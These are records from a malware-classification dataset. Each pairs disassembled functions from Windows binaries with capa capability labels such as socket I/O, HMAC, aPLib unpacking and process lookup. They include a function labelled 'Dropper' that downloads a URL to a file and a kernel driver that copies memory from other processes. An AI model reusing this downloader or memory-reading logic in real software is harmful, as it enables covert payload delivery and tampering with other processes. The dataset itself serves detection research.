joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d64f0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400d6614
cmp r8d, 0xff
jne 0x1400d6551
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400d653b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xfd910]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400b2b60
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400b2b60
cmp r8d, 0xfb
jne 0x1400d6563
lea r9, str.WILL
jmp 0x1400d65a1
cmp r8d, 0xfc
jne 0x1400d6575
lea r9, str.WONT
jmp 0x1400d65a1
cmp r8d, 0xfd
jne 0x1400d6587
lea r9, [0x1400fe334]
jmp 0x1400d65a1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400d65fd
cmp r10d, 0x27
jg 0x1400d65d4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xfdf30]
test r8, r8
jne 0x1400d65e4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400b2b60
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400d65bb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400b2b60
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400b2b60
add rsp, 0x38
ret

Function at 0x1400d6960
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400d69bf
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400b29e0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400d64f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400d6b70
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400d6d18
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400d6bd5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400d6bd5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400d6bd5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400d6c0c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400d6c62
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d6c62
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d6c62
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d6c62
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d6c62
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400d6620
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400d6cc4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400b29e0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400d69f0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400d6d10
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400b29e0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400d8480
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140121080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400d8515
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400d8576
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400b29e0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400ebdb0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400d8631
sub ecx, 1
je 0x1400d86a4
sub ecx, 1
je 0x1400d85e0
cmp ecx, 1
je 0x1400d85c3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140107f90]
call fcn.1400b29e0
jmp 0x1400d86a4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400d81b0
test eax, eax
je 0x1400d86a4
jmp 0x1400d854a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400d86a4
sub rax, rsi
cmp rax, rbp
jae 0x1400d86a4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400b2b60
jmp 0x1400d86a4
cmp r8d, 4
jle 0x1400d86a4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400d86a4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400b2900
mov esi, eax
test eax, eax
je 0x1400d8683
mov edx, 5
mov rcx, rbx
call fcn.1400d9170
mov eax, esi
jmp 0x1400d854a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400c13d0
mov rcx, r14
call fcn.1400c16b0
test eax, eax
je 0x1400d8548
mov edx, 5
mov rcx, rbx
call fcn.1400d9170
mov eax, Ordinal_46
jmp 0x1400d854a
Function at 0x1400eb440
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400eb482
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400eb4c9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400eb522
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400eb4e0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400eb563
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14010149b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14010149c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400eb530
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400ebc04
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1400eb62c
mov ebx, eax
test eax, eax
jne 0x1400ebc34
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x1400ebc97
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400ebc8e
test al, 0x10
je 0x1400ebc8e
bt eax, 0xa
jae 0x1400ebc87
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.1400ebca8
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x1400ebc83
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1400ebc83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x1400ebc8e
and dword [rsp + 0x3c], 0
jmp 0x1400ebc93
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400ebd00
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400ebd3a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400ebd3f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400ebd88
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400ebd88
dec r8
sub rdx, 1
jne 0x1400ebd6e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400ecdf8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ece42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ece42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ece42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ece42
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ece42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400ece44
xor al, al
add rsp, 0x28
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012f20
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014270
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014290
xor al, al
jmp 0x140014311
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400142a3
xor al, al
jmp 0x140014311
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400142cd
xor al, al
jmp 0x140014311
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400142e1
xor al, al
jmp 0x140014311
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400142f3
xor al, al
jmp 0x140014311
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001430f
xor al, al
jmp 0x140014311
mov al, 1
add rsp, 0x38
ret
Function at 0x140012160
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011398
movzx eax, al
test eax, eax
jne 0x140012180
mov ecx, 7
call fcn.140011316
nop
mov byte [rsp + 0x20], 0
call fcn.14001132a
mov byte [rsp + 0x21], al
cmp dword [0x14001d9f8], 1
jne 0x1400121a4
mov ecx, 7
call fcn.140011316
nop
jmp 0x1400121fc
cmp dword [0x14001d9f8], 0
jne 0x1400121f7
mov dword [0x14001d9f8], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.14001119f
test eax, eax
je 0x1400121d8
mov eax, 0xff
jmp 0x140012301
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011320
mov dword [0x14001d9f8], 2
jmp 0x1400121fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011302
call fcn.14001129e
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012259
mov rcx, qword [rsp + 0x30]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x140012259
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140023020]
nop
call fcn.1400112d0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001228d
mov rcx, qword [rsp + 0x38]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x14001228d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011357
nop
call fcn.1400123b0
mov dword [rsp + 0x28], eax
call fcn.14001127b
movzx eax, al
test eax, eax
jne 0x1400122ac
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400122bb
call fcn.140011361
nop
xor edx, edx
mov cl, 1
call fcn.140011140
mov eax, dword [rsp + 0x28]
jmp 0x140012301
add rsp, 0x68
ret
Function at 0x140f3e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140f3e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f3e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3e06f
add dl, dl
jne 0x140f3e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3e0f6
xor eax, eax
add dl, dl
jne 0x140f3e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3e1ad
add dl, dl
jne 0x140f3e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f3e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f3e07e
mov eax, 1
add dl, dl
jne 0x140f3e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3e0fb
sub eax, ebx
mov ebx, 1
jne 0x140f3e14c
mov ecx, 1
add dl, dl
jne 0x140f3e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f3e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f3e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f3e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3e15d
cmp eax, 0x7d00
jae 0x140f3e19b
cmp eax, 0x500
jb 0x140f3e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3e07e
cmp eax, 0x7f
ja 0x140f3e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f3e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f3e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001030
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x10767
mov rbx, rcx
jne 0x140001087
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001087
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001087
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
je 0x140001087
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x14000108c
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret

Function at 0x140001094
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x10767
mov rsi, rcx
je 0x1400010b8
mov eax, 0xc0000001
jmp 0x14000116d
xor ebx, ebx
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], ebx
lea rdx, [rsp + 0x30]
mov edi, ebx
lea ecx, [rbx + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14000116b
test rdi, rdi
je 0x1400010f0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0x42
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400010e0
test rdi, rdi
je 0x14000116b
mov r8d, dword [rdi]
test r8d, r8d
je 0x140001160
lea rdx, [rdi + 0x18]
test byte [rdx - 8], 1
je 0x140001155
cmp qword [rdx], 0x200000
jne 0x140001155
mov ecx, dword [0x140001cc0]
mov r9b, byte [0x140001cc4]
cmp dword [rdx + 8], ecx
jne 0x140001155
cmp byte [rdx + 0xc], r9b
je 0x14000117d
inc ebx
add rdx, 0x20
cmp ebx, r8d
jb 0x14000112e
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, qword [rsi + 8]
mov rax, qword [rdx - 0x10]
mov qword [rcx], rax
jmp 0x14000116b
Function at 0x14000118c
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x10767
mov rdi, rcx
jne 0x140001251
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001251
and qword [r11 + 8], 0
lea rdx, [r11 + 8]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001251
call fcn.140001268
mov rcx, qword [rsp + 0x40]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rdi + 8]
mov rcx, rbx
mov rsi, qword [rdi + 0x18]
call fcn.140001494
test rax, rax
je 0x140001251
mov ecx, eax
mov edx, 0x1000
and ecx, 0xfff
sub edx, ecx
mov rcx, qword [rdi + 0x10]
cmp edx, esi
cmovl esi, edx
and qword [rsp + 0x48], 0
cmp byte [rdi + 0x20], 0
movsxd r8, esi
je 0x140001234
mov rdx, rcx
lea r9, [rsp + 0x48]
mov rcx, rax
call fcn.140001674
jmp 0x14000124d
lea rdx, [rsp + 0x48]
mov r9d, 1
mov qword [rsp + 0x20], rdx
mov rdx, rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x140001256
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140001050
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Dropper
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400010a6
xor eax, eax
jmp 0x1400011b4
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x40], 0
jne 0x1400010e4
xor eax, eax
jmp 0x1400011b4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x14000113d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x1400011b4
lea r9, [rsp + 0x58]
mov r8d, 8
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000118e
cmp dword [rsp + 0x58], 0
jbe 0x14000118e
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x5c]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x14000113d
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001390
add rsp, 0x78
ret